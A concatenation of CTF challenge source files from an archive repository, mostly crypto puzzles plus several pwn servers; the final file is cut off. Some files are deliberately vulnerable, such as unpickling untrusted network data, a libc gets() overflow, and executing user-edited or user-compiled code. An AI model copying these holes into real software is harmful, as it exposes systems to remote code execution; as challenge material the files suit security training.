sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TheCyberJawaraInternational/2024/crypto/Tempus/challenge.py | ctfs/TheCyberJawaraInternational/2024/crypto/Tempus/challenge.py | import time
from random import SystemRandom
from ethsnarks import jubjub, eddsa, field
FLAG = open('flag.txt', 'rb').read()
def serialize(sig: eddsa.Signature):
return (sig.R.compress() + int(sig.s).to_bytes(32, 'big')).hex()
def deserialize(b):
b = bytes.fromhex(b)
R = jubjub.Point.decompress(b[:32])
s = field.FQ(int.from_bytes(b[32:], 'big'))
return R, s
TICKET_PRICE = {
"normal": 10,
"FLAG": 100,
}
TICKET_VALUE = {
"normal": 10,
}
ISSUED_TICKETS = {}
REFUNDED_TICKETS = []
class Tempus:
def __init__(self, username: str):
self.signer = eddsa.MiMCEdDSA()
self.sk, self.pk = self.signer.random_keypair()
self.username = int.from_bytes(username.encode(), 'big')
self.userid = self.signer.hash_public(self.pk, self.username)
self.balance = 10
self.refunded = []
self.issued_tickets = {}
self.rand = SystemRandom()
print(f"Successfully registered with User ID: {self.userid}")
def buy_ticket(self, ticket_type):
price = TICKET_PRICE.get(ticket_type)
if self.balance >= price:
self.balance -= price
new_ticket_id = self.rand.getrandbits(128)
ticket_id = int.to_bytes(new_ticket_id, 16, "big")
signature = self.signer.sign(new_ticket_id, self.sk)
ISSUED_TICKETS[self.signer.hash_public(signature.A, self.username, new_ticket_id)] = ticket_type
signature = serialize(signature.sig)
if ticket_type == "FLAG":
print(FLAG)
else:
print(f"Your ticket: {ticket_id.hex()+signature}")
else:
print("[ERROR] Insufficient balance")
def refund_ticket(self):
try:
ticket = input("Input ticket: ")
ticket_id, signature = bytes.fromhex(ticket[:32]), deserialize(ticket[32:])
if self.signer.verify(self.pk, signature, int.from_bytes(ticket_id, 'big')):
ticket_key = int(input("Input ticket key: "))
if ticket_key in ISSUED_TICKETS and signature not in REFUNDED_TICKETS:
ticket_type = ISSUED_TICKETS.get(ticket_key)
value = TICKET_VALUE.get(ticket_type, 0)
self.balance += value
REFUNDED_TICKETS.append(signature)
print("Ticket succesfully refunded!")
else:
print("[ERROR] Invalid ticket")
else:
print("[ERROR] Invalid ticket")
except Exception:
print("[ERROR] Invalid ticket")
def menu(self):
print("[1] Buy ticket ($10)")
print("[2] Buy FLAG ($100)")
print("[3] Refund ticket")
print("[4] Exit")
print("")
print(f"Your balance: ${self.balance}")
def main():
username = input("Username: ")
ticketer = Tempus(username)
while True:
time.sleep(0.5)
ticketer.menu()
option = input("$> ")
if option == "1":
ticketer.buy_ticket("normal")
elif option == "2":
ticketer.buy_ticket("FLAG")
elif option == "3":
ticketer.refund_ticket()
else:
break
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/khayyam/khayyam.py | ctfs/S4CTF/2021/crypto/khayyam/khayyam.py | #!/usr/bin/env python3
from gmpy import *
from flag import FLAG
l = len(FLAG) // 2
x = int(FLAG[:l].encode("utf-8").hex(), 16)
y = int(FLAG[l:].encode("utf-8").hex(), 16)
p = next_prime(x)
q = next_prime(y)
e, n = 65537, p * q
m_1 = x + int(sqrt(y))
m_2 = y + int(sqrt(x))
c_1, c_2 = pow(m_1, e, n), pow(m_2, e, n)
print('A =', n**2 + c_1)
print('B =', c_2**2 - c_1**2)
print('C =', n**2 + c_2) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/Baby-IQ/baby-iq.py | ctfs/S4CTF/2021/crypto/Baby-IQ/baby-iq.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from math import sqrt
from flag import flag
import os
import random
import base64
def chunkchunk(msg, l):
return [msg[l*i:l*(i + 1)] for i in range(0, len(msg) // l)]
def pad(msg):
r = int(sqrt(len(msg))) + 1
head = base64.b64encode(os.urandom(r**2))[:r**2 - (len(msg))]
msg = head + msg.encode('utf-8')
msg = chunkchunk(msg, r)
return [list(m) for m in msg]
def encrypt(A):
row = len(A)
col = len(A[0])
top = 0
left = 0
tmp = []
while (top < row and left < col) :
for i in range(left, col) :
tmp.append(A[top][i])
top += 1
for i in range(top, row) :
tmp.append(A[i][col - 1])
col -= 1
if ( top < row) :
for i in range(col - 1, left - 1, -1) :
tmp.append(A[row - 1][i])
row -= 1
if (left < col) :
for i in range(row - 1, top - 1, -1) :
tmp.append(A[i][left])
left += 1
result = []
for i in range(len(A)):
r = []
for j in range(len(A[0])):
r.append(tmp[i*len(A[0]) + j])
result.append(r)
return result
A = pad(flag)
for _ in range(len(A)):
_ = encrypt(A)
A = _
print('enc =', A)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/genie/genie.py | ctfs/S4CTF/2021/crypto/genie/genie.py | #!/usr/bin/env python3
import numpy as np
import random
from flag import FLAG
p = 8443
def vsum(u, v):
assert len(u) == len(v)
l, w = len(u), []
for i in range(l):
w += [(u[i] + v[i]) % p]
return w
def sprod(a, u):
w = []
for i in range(len(u)):
w += [a*u[i] % p]
return w
def encrypt(msg):
l = len(msg)
genie = [ord(m)*(i+1) for (m, i) in zip(list(msg), range(l))]
V, W = [], []
for i in range(l):
v = [0]*i + [genie[i]] + [0]*(l - i - 1)
V.append(v)
for i in range(l):
R, v = [random.randint(0, 126) for _ in range(l)], [0]*l
for j in range(l):
v = vsum(v, sprod(R[j], V[j]))
W.append(v)
return W
enc = encrypt(FLAG)
print(enc) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/phillip/phillip.py | ctfs/S4CTF/2021/crypto/phillip/phillip.py | #!/usr/bin/env python3
from Crypto.Util.number import *
from gmpy2 import next_prime, gcd, lcm
from random import randint
import sys, os, signal
import inspect
from flag import flag
def make_params(nbit):
p, q = [getPrime(nbit) for _ in range(2)]
n, f, g = p * q, lcm(p-1, q-1), p + q
e = pow(g, f, n**2)
u = divmod(e-1, n)[0]
v = inverse(u, n)
params = int(n), int(f), int(v)
return params
def phillip_hash(m, params):
n, f, v = params
if 1 < m < n**2 - 1:
e = pow(m, f, n**2)
u = divmod(e-1, n)[0]
H = divmod(u*v, n)[1]
return H
def die(*args):
pr(*args)
quit()
def pr(*args):
s = " ".join(map(str, args))
sys.stdout.write(s + "\n")
sys.stdout.flush()
def sc():
return sys.stdin.readline().strip()
def main():
border = "+"
pr(border*72)
pr(border, " hi young cryptographers,! Your mission is to find a hash collision ", border)
pr(border, " in the given hash function based on famous cryptographic algorithm ", border)
pr(border, " see the source code and get the flag! ", border)
pr(border*72)
nbit = 256
params = make_params(nbit)
n = params[0]
while True:
pr("| Options: \n|\t[H]ash function \n|\t[R]eport collision! \n|\t[T]ry hash \n|\t[G]et params \n|\t[P]arams function \n|\t[Q]uit")
ans = sc().lower()
if ans == 'h':
pr(inspect.getsource(phillip_hash))
elif ans == 'p':
pr(inspect.getsource(make_params))
elif ans == 'r':
pr("| please send first msg: ")
m_1 = sc()
pr("| please send second msg:")
m_2 = sc()
try:
m_1 = int(m_1)
m_2 = int(m_2)
except:
die("| sorry! your input is invalid, Bye!!")
if m_1 != m_2 and 1 < m_1 < n**2-1 and 1 < m_2 < n**2-1 and phillip_hash(m_1, params) == phillip_hash(m_2, params):
die("| Congrats! You find the collision!! the flag is:", flag)
else:
die("| sorry! your input is invalid or wrong!!")
elif ans == 't':
pr("| please send your message to get the hash: ")
m = sc()
try:
m = int(m)
pr("phillip_hash(m) =", phillip_hash(m, params))
except:
die("| sorry! your input is invalid, Bye!!")
elif ans == 'g':
pr('| params =', params)
elif ans == 'q':
die("Quiting ...")
else:
die("Bye ...")
if __name__ == '__main__':
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/Baby-RSA/baby_rsa.py | ctfs/S4CTF/2021/crypto/Baby-RSA/baby_rsa.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from Crypto.Util.number import *
from flag import flag
def create_tuple(nbit): # sorry for dirty code that is not performant!
while True:
p, q = [getPrime(nbit) for _ in range(2)]
P = int(str(p) + str(q))
Q = int(str(q) + str(p))
if isPrime(P) and isPrime(Q):
return P, Q
def encrypt(msg, pkey):
return pow(bytes_to_long(msg), 31337, pkey)
nbit = 256
P, Q = create_tuple(nbit)
pkey = P * Q
enc = encrypt(flag.encode('utf-8'), pkey)
print('pkey =', pkey)
print('enc =', enc) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/S4CTF/2021/crypto/Baby-Xor/baby_xor.py | ctfs/S4CTF/2021/crypto/Baby-Xor/baby_xor.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flag import flag
def xor(u, v):
return ''.join(chr(ord(cu) ^ ord(cv)) for cu, cv in zip(u, v))
u = flag
v = flag[1:] + flag[0]
enc = open('flag.enc', 'w')
enc.write(xor(u, v))
enc.close()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/pwn/pickle_trouble/server.py | ctfs/HCMUS/2023/Quals/pwn/pickle_trouble/server.py | import pandas as pd
import io
import time
import threading
import socketserver
import sys
from io import StringIO
import secrets
import os
import numpy as np
FLAG_FILE = "flag.txt"
PORT = int(os.getenv("APP_PORT"))
HOST = "0.0.0.0"
original_stdout = sys.stdout
class Service(socketserver.BaseRequestHandler):
def handle(self):
captured_output = StringIO()
sys.stdout = captured_output
self.flag = self.get_flag()
token = secrets.token_bytes(16)
self.send(b"Gimme your pickle data size (send as byte string)\n")
data_size = int(self.request.recv(64).decode())
self.send(b"Gimme your pickle data frame (raw bytes)\n")
pickle_data = self.receive(data_size)
df = pd.read_pickle(io.BytesIO(pickle_data))
try:
if bytes(np.random.choice(df["x"], size=16)) == token:
print(self.flag)
else:
raise Exception("Oh no!")
except Exception as e:
print("Oops, you missed it!")
print(e)
self.send(captured_output.getvalue().encode())
sys.stdout = original_stdout
def get_flag(self):
with open(FLAG_FILE, 'rb') as f:
return f.readline()
def send(self, s: str):
self.request.sendall(s.encode("utf-8"))
def send(self, b: bytes):
self.request.sendall(b)
def receive(self, b = 1024):
data = b""
while len(data) != b:
data += self.request.recv(256)
return data
class ThreadedService(socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler):
pass
def main():
service = Service
server = ThreadedService((HOST, PORT), service)
server.allow_reuse_address = True
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
print("Server started on " + str(server.server_address) + "!")
# Now let the main thread just wait...
while True:
time.sleep(10)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/pwn/python_is_safe/main.py | ctfs/HCMUS/2023/Quals/pwn/python_is_safe/main.py | #!/usr/bin/env python3
from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'HCMUS-CTF' in bytes(buf2):
print(open('./flag.txt', 'r').read())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/crypto/M_Side/prob.py | ctfs/HCMUS/2023/Quals/crypto/M_Side/prob.py | from Crypto.Util.number import getStrongPrime, bytes_to_long as b2l, isPrime
import os
FLAG = os.getenv('FLAG', 'FLAG{hue_hue_hue}').encode()
p = getStrongPrime(512)
q = getStrongPrime(512)
while not isPrime(4 * p * p + q * q):
p = getStrongPrime(512)
q = getStrongPrime(512)
hint = 4 * p * p + q * q
e = 65537
print(f"hint: {hint}")
# n for wat?
print(f"ct: {pow(b2l(FLAG), e, p * q)}")
"""
hint: 461200758828450131454210143800752390120604788702850446626677508860195202567872951525840356360652411410325507978408159551511745286515952077623277648013847300682326320491554673107482337297490624180111664616997179295920679292302740410414234460216609334491960689077587284658443529175658488037725444342064697588997
ct: 8300471686897645926578017317669008715657023063758326776858584536715934138214945634323122846623068419230274473129224549308720801900902282047728570866212721492776095667521172972075671434379851908665193507551179353494082306227364627107561955072596424518466905164461036060360232934285662592773679335020824318918
""" | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/crypto/Sneak_Peek/prob.py | ctfs/HCMUS/2023/Quals/crypto/Sneak_Peek/prob.py | from Crypto.Util.number import getPrime, bytes_to_long as b2l
FLAG = b2l(b'HMCSU-CFT{SO YOU THINK THIS FLAG IS REAL\xff}')
p = getPrime(512)
q = getPrime(512)
n = p * q
peek = p >> 240
print(n)
print(peek)
print(pow(FLAG, 65537, n))
"""
137695652953436635868173236797773337408441001182675256086214756367750388214098882698624844625677992374523583895607386174643756159168603070583418054134776836804709359451133350283742854338177917816199855370966725059377660312824879861277400624102267119229693994595857701696025366109135127015217981691938713787569
6745414226866166172286907691060333580739794735754141517928503510445368134531623057
60939585660386801273264345336943282595466297131309357817378708003135300231065734017829038358019271553508356563122851120615655640023951268162873980957560729424913748657116293860815453225453706274388027182906741605930908510329721874004000783548599414462355143868922204060850666210978837231187722295496753756990
"""
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/crypto/real_key/prob.py | ctfs/HCMUS/2023/Quals/crypto/real_key/prob.py | from Crypto.Cipher import AES
from Crypto.Util.number import getRandomInteger
from Crypto.Util.Padding import pad
import numpy as np
def gen_key():
key = getRandomInteger(128).to_bytes(16, 'big')
while b'\0' in key: key = getRandomInteger(128).to_bytes(16, 'big')
mat = [[i for i in key[k:k+4]] for k in range(0, 16, 4)]
return key, mat
def f(mat):
"""Make the key wavy"""
N = 1600
T = 1/800
x = np.linspace(0, N*T, N)
ys = [np.sum(np.array([.5**i * np.sin(n * 2 * np.pi * x) for i, n in enumerate(b)]), axis=0).tolist() for b in mat]
return ys
def check_good_mat(mat):
for row in mat:
for i in range(4):
if row[i] > 255: return False
for j in range(i + 1, 4):
if -1 == row[i] - row[j] or row[i] - row[j] == 1 or row[i] == row[j]: return False
return True
key, mat = gen_key()
while not check_good_mat(mat):
key, mat = gen_key()
ys = f(mat)
FLAG = pad(b'FLAG{real_flag_goes_here}', 16)
cip = AES.new(key, AES.MODE_CBC)
iv = cip.iv
ciphertext = cip.encrypt(FLAG)
# The stuff which will be given
with open('output.txt', 'w') as ofile:
print(ys, file=ofile)
with open('ciphertext.bin', 'wb') as ofile:
ofile.write(iv)
ofile.write(ciphertext) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/crypto/CRY1/server.py | ctfs/HCMUS/2023/Quals/crypto/CRY1/server.py | import time
import random
import threading
import socketserver
import os
FLAG_FILE = os.getenv("FLAG")
PORT = int(os.getenv("APP_PORT"))
HOST = "0.0.0.0"
assert FLAG_FILE is not None, "Environment variable FLAG not set"
assert PORT is not None, "Environment variable APP_PORT not set"
class Service(socketserver.BaseRequestHandler):
def handle(self):
self.flag = self.get_flag()
self.user_id = int(time.time())
self.send(f"Welcome\n")
assert len(self.flag) == 26
self.send(
f"Here is your encoded flag: {self.encode(self.flag, self.gen_key(self.user_id, len(self.flag)))}\n"
)
def get_flag(self):
with open(FLAG_FILE, "r") as f:
return f.readline()
def encode(self, data, key):
return sum([a * ord(b) for a, b in zip(key, data)])
def gen_key(self, user_id, n):
random.seed(user_id)
return [random.randrange(1024) for i in range(n)]
def send(self, string: str):
self.request.sendall(string.encode("utf-8"))
def receive(self):
return self.request.recv(1024).strip().decode("utf-8")
class ThreadedService(
socketserver.ThreadingMixIn,
socketserver.TCPServer,
socketserver.DatagramRequestHandler,
):
pass
def main():
service = Service
server = ThreadedService((HOST, PORT), service)
server.allow_reuse_address = True
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
print("Server started on " + str(server.server_address) + "!")
# Now let the main thread just wait...
while True:
time.sleep(10)
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/HCMUS/2023/Quals/crypto/falsehood/prob.py | ctfs/HCMUS/2023/Quals/crypto/falsehood/prob.py | import os
import numpy as np
from sage.all import ComplexField, PolynomialRing
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
from binascii import hexlify
FLAG = os.getenv('FLAG', "FLAG{this is a real flag}")
bits = 1111
C = ComplexField(bits)
P = PolynomialRing(C, names='x')
(x,) = P.gens()
key_array = np.random.choice(256, size=(16,))
key = b''.join([int(i).to_bytes(1, 'big') for i in key_array])
f = sum([coeff * x**i for i, coeff in enumerate(key_array)])
hint = []
for _ in range(16):
X = random.randint(10**8, 10**10)
Y = int(abs(f(X)))
while [X, Y] in hint:
X = random.randint(10**8, 10**10)
Y = int(abs(f(X)))
hint.append([X, Y])
cip = AES.new(key, AES.MODE_CBC)
ct = cip.encrypt(pad(FLAG.encode(),16))
iv = cip.iv
with open('output.txt', 'w') as file:
file.write(str(hint)+'\n')
print(f"ct = {hexlify(ct).decode()}, iv = {hexlify(iv).decode()}", file=file) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TexSAW/2024/crypto/Ironcrypt/encrypt.py | ctfs/TexSAW/2024/crypto/Ironcrypt/encrypt.py | from binascii import hexlify, unhexlify
from Crypto.Cipher import AES
import sys
one = "----------------"
two = "----------------"
maxlen = 256
def encrypt(message, key):
aes = AES.new(key, AES.MODE_OFB, two)
return aes.encrypt(message)
def decrypt(message, key):
aes = AES.new(key, AES.MODE_OFB, two)
return aes.decrypt(message)
def decrypt_ecb(message, key):
aes = AES.new(key, AES.MODE_ECB)
return aes.decrypt(message)
sys.stdout.write("Give me a message to encrypt:\n")
message = raw_input().strip()
msglen = len(message)
if msglen == 0:
sys.stdout.write("No message provided.\n")
sys.stdout.flush()
quit()
elif msglen > maxlen:
message = message[:maxlen]
elif msglen % 16 != 0:
message += "0" * (16 - msglen % 16)
encrypted = encrypt(message, one)
sys.stdout.write("Original Message: {}\n".format(message))
sys.stdout.write("Message in Hex: {}\n".format(hexlify(message)))
sys.stdout.write("Encrypted Message: {}\n".format(hexlify(encrypted)))
sys.stdout.flush()
quit()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TexSAW/2025/misc/My_Awesome_Python_Homework_Assignment/main.py | ctfs/TexSAW/2025/misc/My_Awesome_Python_Homework_Assignment/main.py | #!/usr/local/bin/python
import subprocess
code = """
def isPalindrome(s):
result = True
for i in range(len(s) // 2):
characterOne = s[i]
characterTwo = s[len(s) - 1 - i]
if characterOne != characterTwo:
result = False
return result
wordToCheck = input("Enter a word to check if it's a palindrome: ")
if isPalindrome(wordToCheck):
print("Yes, it's a palindrome!")
else:
print("No, it's not a palindrome.")
""".strip().split('\n')
print('-' * 10)
print('\n'.join(code))
print('-' * 10)
while True:
lno = int(input('line number: '))
comment = input('comment: ')
code.insert(lno, f'# {comment}')
print('-' * 10)
print('\n'.join(code))
print('-' * 10)
if input('add more? [y/N]: ') not in ['y', 'Y']:
break
name = '/tmp/my_awesome_assignment1.py'
with open(name, 'w') as f:
f.write('\n'.join(code))
subprocess.run(['python', name])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TexSAW/2025/pwn/gccfuck/main.py | ctfs/TexSAW/2025/pwn/gccfuck/main.py | #!/usr/bin/python3
from os import chdir
from subprocess import run
from tempfile import TemporaryDirectory
code = input('code? ')
assert len(set(code)) <= 12
with TemporaryDirectory() as d:
chdir(d)
with open('a.c', 'w') as f:
f.write(code)
assert run(['gcc', 'a.c'], capture_output=True).returncode == 0
run(['./a.out'])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TexSAW/2025/pwn/scfuck/main.py | ctfs/TexSAW/2025/pwn/scfuck/main.py | #!/usr/bin/python3
import re
from os import chdir
from subprocess import run
from tempfile import TemporaryDirectory
code = input('code? ')
main = input('main? ')
assert re.fullmatch(r'[a-zA-Z_][a-zA-Z0-9_]*', main)
assert len(set(code)) <= 5
gcc = ['gcc', 'a.c', f'-Wl,--defsym=main={main},-T,a.ld']
with TemporaryDirectory() as d:
chdir(d)
with open('a.c', 'w') as f:
f.write(code)
with open('a.ld', 'w') as f:
f.write('MEMORY { _ (rwx) : ORIGIN = 0x100000, LENGTH = 0x1000 }')
assert run(gcc, capture_output=True).returncode == 0
run(['./a.out'])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TexSAW/2025/pwn/slop/main.py | ctfs/TexSAW/2025/pwn/slop/main.py | #!/usr/bin/python3
import re
from os import chdir
from subprocess import run
from tempfile import TemporaryDirectory
# code = input('code? ')
code = ''
main = input('main? ')
assert re.match(r'[a-zA-Z_][a-zA-Z0-9_]*', main)
# assert len(set(code)) <= 5
# gcc = ['gcc', 'a.c', f'-Wl,--defsym=main={main},-T,a.ld']
gcc = ['gcc', 'a.c', f'-Wl,--defsym=main={main}']
with TemporaryDirectory() as d:
chdir(d)
with open('a.c', 'w') as f:
f.write(code)
# with open('a.ld', 'w') as f:
# f.write('MEMORY { _ (rwx) : ORIGIN = 0x100000, LENGTH = 0x1000 }')
assert run(gcc, capture_output=True).returncode == 0
run(['./a.out'])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/pwn/shared_knote/pow.py | ctfs/BSidesAhmedabad/2021/pwn/shared_knote/pow.py | """
i.e.
sha256("????v0iRhxH4SlrgoUd5Blu0") = b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c
Suffix: v0iRhxH4SlrgoUd5Blu0
Hash: b788094e2d021fa16f30c83346f3c80de5afab0840750a49a9254c2a73ed274c
"""
import itertools
import hashlib
import string
table = string.ascii_letters + string.digits + "._"
suffix = input("Suffix: ")
hashval = input("Hash: ")
for v in itertools.product(table, repeat=4):
if hashlib.sha256((''.join(v) + suffix).encode()).hexdigest() == hashval:
print("[+] Prefix = " + ''.join(v))
break
else:
print("[-] Solution not found :thinking_face:")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/rev/collapsed_license/server.py | ctfs/BSidesAhmedabad/2021/rev/collapsed_license/server.py | import os
import base64
import tempfile
import subprocess
import requests
if __name__ == '__main__':
try:
url = input("License URL: ")
assert url.startswith("http")
lic = requests.get(url).content
assert len(lic) < 1000*1000 # 1MB limit
with tempfile.NamedTemporaryFile('w+b') as f:
f.write(lic)
f.flush()
subprocess.run(["./y05h1k1ng50f7", f.name])
except Exception as e:
print("[-] Error", e)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/rev/kings_license/server.py | ctfs/BSidesAhmedabad/2021/rev/kings_license/server.py | import os
import base64
import tempfile
import subprocess
if __name__ == '__main__':
os.system("stty -icanon")
try:
b64lic = input("License Key: ")
print(input("> "))
lic = base64.b64decode(b64lic)
with tempfile.NamedTemporaryFile('w+b') as f:
f.write(lic)
f.flush()
subprocess.run(["./yoshikingsoft", f.name])
except:
print("[-] Error")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/crypto/they_were_eleven/task.py | ctfs/BSidesAhmedabad/2021/crypto/they_were_eleven/task.py | import os
from Crypto.Util.number import getPrime, getRandomRange
with open("flag.txt", "rb") as f:
m = f.read().strip()
m += os.urandom(111 - len(m))
m = int.from_bytes(m, "big")
xs = []
for i in range(11):
p = getPrime(512)
q = getPrime(512)
n = p * q
c = m**11 * getRandomRange(0, 2**11) % n
xs.append((c, n))
print(xs)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/crypto/floorsa/chall.py | ctfs/BSidesAhmedabad/2021/crypto/floorsa/chall.py | import os
import hashlib
from Crypto.Util.number import getPrime, getRandomNBitInteger
from itertools import product
def floor_sum(n: int, m: int, a: int) -> int:
"""Fast calculation for sum([a * i // m for i in range(n)])
"""
res, b = 0, 0
while 0 < n:
res += n * (n - 1) // 2 * (a // m)
a %= m
res += n * (b // m)
b %= m
last = a * n + b
n, m, a, b = last // m, a, m, last % m
return res
#def floor_sum_tests():
# for n, m, a in product(range(50), range(1, 50), range(50)):
# result = floor_sum(n, m, a)
# expect = sum([a * i // m for i in range(n)])
# assert(result == expect)
if __name__ == '__main__':
#floor_sum_tests()
flag = os.getenv('FLAG', 'XXXX{sample_flag}').encode()
flag += hashlib.sha512(flag).digest()
m = int.from_bytes(flag, 'big')
assert m.bit_length() < 2048
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = floor_sum(q, q, p)
print(f"c = {c}")
print(f"n = {n}")
print(f"s = {s}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BSidesAhmedabad/2021/crypto/dlppp/task.py | ctfs/BSidesAhmedabad/2021/crypto/dlppp/task.py | import os
from Crypto.Util.number import getPrime, getRandomNBitInteger
flag = os.getenv("FLAG", "XXXX{sample_flag}").encode()
m = int.from_bytes(flag, 'big')
p = getPrime(512)
y = pow(1 + p, m, p**3)
assert m < p
print(f"p = {hex(p)}")
print(f"y = {hex(y)}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Balsn/2021/crypto/trinity/src/server.py | ctfs/Balsn/2021/crypto/trinity/src/server.py | #!/usr/local/bin/python3 -u
import signal
from blake3 import blake3
signal.alarm(15)
key = b'wikipedia.org/wiki/Trinity'.ljust(32)
God = bytes.fromhex(input('God >'))
GOd = bytes.fromhex(input('GOd >'))
GOD = bytes.fromhex(input('GOD >'))
trinity = {God, GOd, GOD}
